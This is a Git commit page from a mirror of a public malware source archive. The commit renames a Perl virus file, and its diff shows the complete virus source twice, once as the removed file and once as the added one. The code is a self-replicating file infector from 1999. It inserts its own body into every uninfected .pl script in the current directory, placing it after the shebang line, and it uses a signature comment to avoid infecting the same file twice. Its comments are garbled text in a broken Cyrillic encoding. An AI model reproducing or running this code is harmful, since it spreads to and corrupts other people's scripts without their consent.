ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 09:26:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Rename Virus.Perl.Intender to Virus.Perl.Intender.a

Browse Source
This commit is contained in:
vxunderground 2020-11-14 01:36:40 -06:00 committed by GitHub
parent 84dbcf510b
commit 56fafc6413
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 66 additions and 66 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

66
Perl/Virus.Perl.Intender
View File

@ -1,66 +0,0 @@
#here virus starts
# Intender by -Byst- (c) 1999
$source = __FILE__;
while (<*.pl>)
{
$name = $_; # ˆ¬ï ä ©« -¦¥àâ¢ë
$cname = crypt($name,$name); # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©«
# <20>஢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«?
open(TARGET,"<$name"); # ¦¥àâ¢
$allready_infected = 0;
while (<TARGET>) {
if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
{ $allready_infected = 1;} # 㦥 ¨­ä¨æ¨à®¢ ­!
}
close(TARGET);
if ($allready_infected == 1 )
{ next;} # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
# <20>஢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯ !/usr/bin/perl
open(TARGET,"<$name"); # ¦¥àâ¢
$flag = 0;
while (<TARGET>) {
if (index($_,"\x23!") == 0) # <20> 諨 â ªãî áâபã
{ $flag = 1;} # ¢§¢®¤¨¬ ä« £
}
close(TARGET);
# ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï
open(TARGET,"<$name"); # ¦¥àâ¢
open(FBUF,">$cname"); # ¯à®¬¥¦ãâ®ç­ë© ä ©«
if ($flag == 1) { # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç « ¯à®£à ¬¬ë?
while (<TARGET>) { # ¨é¥¬ ¥£®
print(FBUF); # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
if (index($_,"\x23!") == 0 ) # £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë
{ last;}
}
}
# ¨é¥¬ ⥫ ¯à®æ¥¤ãà
$_ = "\n";print(FBUF);
open(SOURCE,"<$source"); # â ªãî騩 ä ©«
while(<SOURCE>) { # ¨é¥¬ ¯à¨§­ ª ­ ç « - "#here virus starts"
if (index($_,"\x23here virus starts") == 0) { last;}
}
print(FBUF);
# ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
while (<SOURCE>) {
print(FBUF);
if (index($_,"\x23here virus ends") == 0) { last;}
}
close(SOURCE);
$_ = "\n";print(FBUF);
# ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
while (<TARGET>) {
print(FBUF);
}
close(TARGET);
close(FBUF);
rename($cname,$name);
}
#here virus ends

66
Perl/Virus.Perl.Intender.a Normal file
View File

@ -0,0 +1,66 @@
#here virus starts
# Intender by -Byst- (c) 1999
$source = __FILE__;
while (<*.pl>)
{
$name = $_; # ˆ¬ï ä ©« -¦¥àâ¢ë
$cname = crypt($name,$name); # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©«
# à®¢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«?
open(TARGET,"<$name"); # ¦¥àâ¢
$allready_infected = 0;
while (<TARGET>) {
if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
{ $allready_infected = 1;} # 㦥 ¨­ä¨æ¨à®¢ ­!
}
close(TARGET);
if ($allready_infected == 1 )
{ next;} # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
# à®¢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯ !/usr/bin/perl
open(TARGET,"<$name"); # ¦¥àâ¢
$flag = 0;
while (<TARGET>) {
if (index($_,"\x23!") == 0) #  諨 â ªãî áâபã
{ $flag = 1;} # ¢§¢®¤¨¬ ä« £
}
close(TARGET);
# ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï
open(TARGET,"<$name"); # ¦¥àâ¢
open(FBUF,">$cname"); # ¯à®¬¥¦ãâ®ç­ë© ä ©«
if ($flag == 1) { # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç « ¯à®£à ¬¬ë?
while (<TARGET>) { # ¨é¥¬ ¥£®
print(FBUF); # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
if (index($_,"\x23!") == 0 ) # £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë
{ last;}
}
}
# ¨é¥¬ ⥫ ¯à®æ¥¤ãà
$_ = "\n";print(FBUF);
open(SOURCE,"<$source"); # â ªãî騩 ä ©«
while(<SOURCE>) { # ¨é¥¬ ¯à¨§­ ª ­ ç « - "#here virus starts"
if (index($_,"\x23here virus starts") == 0) { last;}
}
print(FBUF);
# ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
while (<SOURCE>) {
print(FBUF);
if (index($_,"\x23here virus ends") == 0) { last;}
}
close(SOURCE);
$_ = "\n";print(FBUF);
# ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©«
while (<TARGET>) {
print(FBUF);
}
close(TARGET);
close(FBUF);
rename($cname,$name);
}
#here virus ends